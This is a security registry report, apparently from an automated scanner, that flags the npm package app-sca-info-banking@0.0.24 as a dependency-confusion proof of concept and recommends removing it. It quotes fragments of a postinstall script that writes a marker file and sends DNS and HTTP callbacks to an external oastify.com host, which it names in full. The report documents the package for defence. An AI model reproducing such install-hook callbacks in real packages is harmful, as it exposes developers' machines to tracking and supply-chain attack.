registry / Dependency confusion / app-sca-info-banking

app-sca-info-banking

This report shows the evidence for app-sca-info-banking@0.0.24. 1 of 2 known versions is blocked or flagged. The newest version, 0.0.0-stage, is allowed. See all versions.

AI Security Review

scanned 27d ago · by lpm-firewall-ai

The package performs unsolicited external callbacks during installation through a postinstall hook. This is concrete dependency-confusion install tracking and warrants blocking.

Static reason

One or more suspicious static signals were detected.

Trigger

npm postinstall execution.

Impact

An installer is identified to the external callback operator without an explicit user action.

Mechanism

poc.js writes a temporary file, resolves a generated DNS hostname, and makes an HTTP GET request to a generated OAST hostname.

Attack narrative

The package uses an automatic postinstall hook to run a dependency-confusion proof-of-concept. That code creates a local marker and sends DNS and HTTP callbacks to an external OAST domain, allowing the operator to observe installations. The automatic external callbacks make this concrete install-hook abuse regardless of the script's self-description.

AI rationale

The package performs unsolicited external callbacks during installation through a postinstall hook. This is concrete dependency-confusion install tracking and warrants blocking.

Evidence

package.jsonpoc.js

Network endpoints1

ki6rmdjnq5q8y7v8soxc080fz65ytohd.oastify.com

Decision evidence

public snapshot

AI called this Malicious at 98.0% confidence as Malware with low false-positive risk.

Evidence for block

The manifest automatically runs poc.js after installation.
The install script defines an external OAST callback domain for dependency-confusion tracking.
The install script performs DNS resolution to a generated external subdomain.
The install script sends an HTTP request to a generated external subdomain.
The install script writes a marker file in the system temporary directory.

Evidence against

Behavioral surface

Source

FilesystemNetwork

Supply chain

HighEntropyStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 1.92 KB of source

Source & flagged code

6 flagged

package.jsonView file

•scripts.postinstall = node poc.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

5"main": "index.js", "scripts": { "postinstall": "node poc.js" }, "keyword

High

Ai Review Evidence

The manifest automatically runs poc.js after installation.

package.jsonView on unpkg · L5

poc.jsView file

7const id = "DEPENDENCY_CONFUSION_POC_20260925"; const baseOast = "[redacted].oastify.com"; const token = Date.now(); const

High

Suspicious Dependency Evidence

The install script defines an external OAST callback domain for dependency-confusion tracking.

poc.jsView on unpkg · L7

38console.log(`[PoC][DNS] Querying: ${dnsHost}`); dns.resolve4(dnsHost, (err) => { if (err) { console.log(`[PoC][DNS] Failed: ${err.message}`); } else

High

Ai Review Evidence

The install script performs DNS resolution to a generated external subdomain.

poc.jsView on unpkg · L38

53console.log(`[PoC][HTTP] Requesting: http://${httpHost}/dependency-confusion-poc`); const req = http.get( { hostname: httpHost, port: 80, path: "/dependency-confusion-poc",

High

Ai Review Evidence

The install script sends an HTTP request to a generated external subdomain.

poc.jsView on unpkg · L53

20try { const marker = path.join(os.tmpdir(), `${id}.txt`); fs.writeFileSync( marker, "Controlled Dependency Confusion validation\n" ); console.log(

High

Ai Review Evidence

The install script writes a marker file in the system temporary directory.

poc.jsView on unpkg · L20

Source & flagged code

6 flagged · loading source

package.jsonView file

•scripts.postinstall = node poc.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

5"main": "index.js", "scripts": { "postinstall": "node poc.js" }, "keyword

High

Ai Review Evidence

The manifest automatically runs poc.js after installation.

package.jsonView on unpkg · L5

poc.jsView file

7const id = "DEPENDENCY_CONFUSION_POC_20260925"; const baseOast = "[redacted].oastify.com"; const token = Date.now(); const

High

Suspicious Dependency Evidence

The install script defines an external OAST callback domain for dependency-confusion tracking.

poc.jsView on unpkg · L7

Findings

6 High1 Medium3 Low

HighInstall Time Lifecycle Scriptspackage.json

HighAi Review Evidencepackage.json

HighSuspicious Dependency Evidencepoc.js

HighAi Review Evidencepoc.js

MediumNetwork

LowScripts Present

LowFilesystem

LowHigh Entropy Strings

Affected versions and remediation

This report applies to app-sca-info-banking@0.0.24.

The versions list below shows the verdict for each recorded version.

Avoid installing app-sca-info-banking@0.0.24. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-09-26 07:40:26.626Z (UTC).

Source advisory published: 2026-09-25 08:35:37.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

2 known versions

0.0.0-stagelatestClean—AllowPublishedOct 12, 2026, 1:14 PM 0.0.24shownMaliciousDependency ConfusionBlockPublishedSep 25, 2026, 8:30 AM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

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Source & flagged code

Related packages

Other dependency confusion packages